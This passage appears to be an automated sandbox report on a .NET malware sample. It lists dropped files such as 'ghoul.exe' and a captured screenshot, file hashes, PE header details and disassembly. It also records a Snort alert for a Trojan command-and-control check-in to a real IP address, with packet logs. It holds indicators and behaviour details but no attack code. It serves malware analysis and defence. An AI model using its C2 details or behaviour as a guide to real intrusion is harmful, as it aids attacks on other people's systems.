                                                                              Entropy (8bit):4.494238360114512
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:09AC699A89EFA23735B21B7F07D53D89
                                                                              SHA1:E93161F73C3378BFAEA9BE852F0E0125DF2A5C7C
                                                                              SHA-256:6DC420385483BCB950A9A0FC2A6B282D62B7E2D2AF7DCB62E9E7E48E3133A98A
                                                                              SHA-512:DBCB149D3EBBBF8FB6D953F990182E8433A4E9E57E2E03159D50A691D7EBF68A1D5D7B7B7717D40650D199C80E69EDB5434FA819D4E498DF3EAA488F828AC207
                                                                              Malicious:false
                                                                              Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="221950739" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

                                                                              C:\ProgramData\screen.jpg

                                                                              Download File
                                                                              Process:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1920x1080, components 3
                                                                              Category:dropped
                                                                              Size (bytes):120101
                                                                              Entropy (8bit):7.759038669713546
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:6D766B586209B3781B3080D6BA7CA826
                                                                              SHA1:7343E822B5712F1D3E798C211681BC988BEDD104
                                                                              SHA-256:CBA03D3075E9117165096FC095F798E4A45A3EBADC029E97E8C8316464DA9A93
                                                                              SHA-512:695484FF4F06434783867E21ED9477E6B9765E7188A1E530BBC694B730E893A4F16576698C2063589755EC15B270AC852711A56F26C5BEF70D205B968CEE623F
                                                                              Malicious:false
                                                                              Preview:......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?0.Z.oaqs......21....}.ZM:...[+J}#.G.y.+...p.....Mb.3(...l.......;g.$~.....m.....~....8.r.CY.+Gm}.j*..wj7M.*.|r...WJ...g..(.IX(..b..^i(...=?.o...~......<.....V..y.....A.....e.f..f.zK..Z.I...R..X.......g.b?......=oI..K.?...}.6.$c...p....S.Q.....9V3.O.V......E-...p.QE..QZ.....|Giiw.......3.b9.....UR..>..z..X.N.2(.^...#...?..O.*..B<;..@..............?..."

                                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ghoul.exe.log

                                                                              Download File
                                                                              Process:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              File Type:CSV text
                                                                              Category:dropped
                                                                              Size (bytes):1498
                                                                              Entropy (8bit):5.3561807199397675
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:43A636A7C017C7F9073299400672E30D
                                                                              SHA1:C93DBD8A5359A2500FAAF3D27BB12D5F701CD099
                                                                              SHA-256:3566DF167235CF6D4FDF22B0BBEAEB66C4BE988C940D05993D3A6E8D8A8493A1
                                                                              SHA-512:6EFBAA321548A90B5A3718C1CA25086C938E667EB5ED39D5157E1F3BBAC8CDFF6277C20D77A8F39C063E46CE6F5730AD583B9EF2F1B32BAFAF58ED889251420D
                                                                              Malicious:false
                                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\372e9962a41f186f070f1cb9f93273ee\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\d4da288bf6ac86ce3921b8db5eaed5be\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\deafeb5fb937036cb4c6368810108091\System.Windows.Forms.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\a00d58ba692a8febe63782689321bb04\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.3

                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:data
                                                                              Category:dropped
                                                                              Size (bytes):19294
                                                                              Entropy (8bit):5.004737102773073
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:C60DB10EDC9E9BEB773D0F1BA249DC98
                                                                              SHA1:F4DF949C8C5364B4F253DE6A19D8F1ED2315FE12
                                                                              SHA-256:A331BD89A45190E6B0F82BEADDFF8C1FB167AB9F043EA008A61E555800B31A54
                                                                              SHA-512:96F643C056B58BE560ADBF0E5AB70AFD502A2FE881B7759282BD41D12FB9004477273CEB5F105CD9AD37B1BDE83CAD20C6C5CA50BCDFB5DC0A0903803517B058
                                                                              Malicious:false
                                                                              Preview:PSMODULECACHE......1...z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........KP.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:data
                                                                              Category:dropped
                                                                              Size (bytes):64
                                                                              Entropy (8bit):0.34726597513537405
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                              SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                              SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                              SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                              Malicious:false
                                                                              Preview:@...e...........................................................

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2a3p02va.2lj.ps1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2ivfiqf.scs.psm1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hmlt12uu.uyo.ps1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_koaartle.mqf.psm1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nfuhkdds.cei.psm1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3amguc3.wf0.ps1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              File Type:ASCII text, with no line terminators
                                                                              Category:dropped
                                                                              Size (bytes):60
                                                                              Entropy (8bit):4.038920595031593
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                              Malicious:false
                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                              C:\Users\user\AppData\Local\Temp\ghoul.exe

                                                                              Download File
                                                                              Process:C:\Users\user\Desktop\gOKMPhOLiN.exe
                                                                              File Type:PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
                                                                              Category:dropped
                                                                              Size (bytes):921088
                                                                              Entropy (8bit):5.828629446594766
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:813862D29C21094EBD1F95FEB80771FF
                                                                              SHA1:5E61691A9D791E798E19D99A27C9F9959D319E9B
                                                                              SHA-256:5F1C900332C6CE00349719A6ECCD13894FC312F2B6460D7F419CA49172C8623A
                                                                              SHA-512:97FC207A77D4D11103817998177D656E520B889D7B79C9DD1AB4FD66CF1004A9060F2D6E4ACF239A7B8016FFD60949A36E4E78AE26F990768A2952275E5B4580
                                                                              Malicious:true
                                                                              Antivirus:
                                                                              • Antivirus: Avira, Detection: 100%
                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                              • Antivirus: ReversingLabs, Detection: 52%
                                                                              Joe Sandbox View:
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              • Filename: file.exe, Detection: malicious, Browse
                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...o..........."...0.................. ....@...... .......................`............@...@......@............... ...............................@..:............................................................................................ ..H............text........ ...................... ..`.rsrc...:....@......................@..@........................................H........T...............R..p.....................................................................................................................................................................^HI\Z@MOAGEGAONNVVVVLPSInpy|`.gpFNK].Am`g#FSIJ$Rsu++AOnrqvcbyeZt..=......M3$*"'1Z/....,.......9.'$:0n....c.((tv..45)++9/.*#%3:.:....................................................................................................................OY.zkcinv...`ukh.zVMWIUO

                                                                              C:\Windows\appcompat\Programs\Amcache.hve

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:MS Windows registry file, NT/2000 or above
                                                                              Category:dropped
                                                                              Size (bytes):2359296
                                                                              Entropy (8bit):4.226733844020637
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:D22617CDFB5B7FCA6DF02BB2C4DC2CAC
                                                                              SHA1:89570398778DA06DB9BD777D7B5ABBE761529379
                                                                              SHA-256:AFD6CC148B10EF81D47057A875FB6DADFEE2D8FE389B62BAA8227FFB4E0B7BD7
                                                                              SHA-512:8611FC78678BED3646A4917BA943C13009400FFED8790E8CD63B224CB61335FE171B79E859BC01C21C9943C375BE35C3A4CDC24E03D7EEA686A337BC7550A5B0
                                                                              Malicious:false
                                                                              Preview:regf........5.#.^................... ....P .....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm..76.................................................................................................................................................................................................................................................................................................................................................H.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                              C:\Windows\appcompat\Programs\Amcache.hve.LOG1

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:MS Windows registry file, NT/2000 or above
                                                                              Category:dropped
                                                                              Size (bytes):376832
                                                                              Entropy (8bit):2.6433139255207605
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:01C733BFBA485F122CE98446D8E27C7C
                                                                              SHA1:8B0F4B92EAC7349583983182DBC2A0CA3409AE39
                                                                              SHA-256:0409E51CAF22F99AB3E7786BFB17517DB51DA8B621332A4EA4F637CE2E547371
                                                                              SHA-512:0514C1731B19A8A6E2CE362CCB1C20C736051A536D524AB6C2E632716899D55B0F9626B740F1D03080B847858D9D40C413CDB37DA9C0B7A5EF68D2A261DF225E
                                                                              Malicious:false
                                                                              Preview:regf........5.#.^................... ....P .....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm..76.................................................................................................................................................................................................................................................................................................................................................H.HvLE.............P ..............-S).SY.............. ...@.......................@............... ............................... ... ...0 .....hbin................5.#.^...........nk,....S...............................................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......nk .}'.N7.......(...........@...............................*...N.......)...InventoryMiscellaneousMemorySlotArrayInfo....................mG.....nk .$4./T....... ...........................

                                                                              Static File Info

                                                                              General

                                                                              File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                              Entropy (8bit):7.889284666370762
                                                                              TrID:
                                                                              • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                              • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                              • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                              • Generic Win/DOS Executable (2004/3) 0.01%
                                                                              • DOS Executable Generic (2002/1) 0.01%
                                                                              File name:gOKMPhOLiN.exe
                                                                              File size:1599488
                                                                              MD5:4c8d2d06487d07ec350aa5c5d699bb55
                                                                              SHA1:adc4aa68f5aa4b0ea3f9a2ee82100234caea5b2d
                                                                              SHA256:5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567
                                                                              SHA512:37f5dcf4a4e5f02c5dfb0d4c5cb18d4980efe387572fc3a50fa0d53a23c4403d8c17dbf2df9fa5bb647c0eb1f0a24d4c86e19aa2fb73b447c6cd62c6652b6bab
                                                                              SSDEEP:24576:BjhhhkB/Aw/ApZAZv8743EDweFLBNlYesa49t03jN0AK+HoD5PD:Rhhh6FQcv883EDhp5x4S0AKp9
                                                                              TLSH:A0751220B250E926D9BC3FB7C8F8486987D62AD8E6B0E3595A550CC11F767A3AD1013F
                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.(...............0..^...........{... ........@.. ....................................`................................

                                                                              File Icon

                                                                              Icon Hash:00828e8e8686b000

                                                                              Static PE Info

                                                                              General

                                                                              Entrypoint:0x587bfe
                                                                              Entrypoint Section:.text
                                                                              Digitally signed:false
                                                                              Imagebase:0x400000
                                                                              Subsystem:windows gui
                                                                              Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                              DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                              Time Stamp:0xFE28C330 [Sat Feb 14 19:51:12 2105 UTC]
                                                                              TLS Callbacks:
                                                                              CLR (.Net) Version:
                                                                              OS Version Major:4
                                                                              OS Version Minor:0
                                                                              File Version Major:4
                                                                              File Version Minor:0
                                                                              Subsystem Version Major:4
                                                                              Subsystem Version Minor:0
                                                                              Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                              Entrypoint Preview

                                                                              Instruction
                                                                              jmp dword ptr [00402000h]
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al
                                                                              add byte ptr [eax], al

                                                                              Data Directories

                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x187bb00x4b.text
                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x1880000x5ce.rsrc
                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x18a0000xc.reloc
                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                              Sections

                                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                              .text0x20000x185c040x185e00False0.9131451136181469data7.892076892468923IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                              .rsrc0x1880000x5ce0x600False0.4303385416666667data4.226979181336018IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                              .reloc0x18a0000xc0x200False0.041015625data0.08153941234324169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                              Resources

                                                                              NameRVASizeTypeLanguageCountry
                                                                              RT_VERSION0x1880a00x344data
                                                                              RT_MANIFEST0x1883e40x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

                                                                              Imports

                                                                              DLLImport
                                                                              mscoree.dll_CorExeMain

                                                                              Network Behavior

                                                                              Snort IDS Alerts

                                                                              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                              192.168.11.20179.43.141.11649869802042945 01/03/23-08:16:05.580097TCP2042945ET TROJAN Phonk Trojan CnC Checkin (POST)4986980192.168.11.20179.43.141.116

                                                                              Network Port Distribution

                                                                              TCP Packets

                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                              Jan 3, 2023 08:15:56.079338074 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.126276016 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.126471996 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.126760006 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.174043894 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.176579952 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.177252054 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.177356005 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.243587017 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.243607998 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.243623018 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.243801117 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.243953943 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.244118929 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.268384933 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.268662930 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.296377897 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.296412945 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.296438932 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.296463966 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.296571970 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.296714067 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.296926975 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.297081947 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.332045078 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.332081079 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.332251072 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.332420111 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.347896099 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.347933054 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.347958088 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.347982883 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348007917 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348031998 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348057032 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348081112 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348088980 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.348107100 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.348284006 CET4986780192.168.11.20179.43.141.116
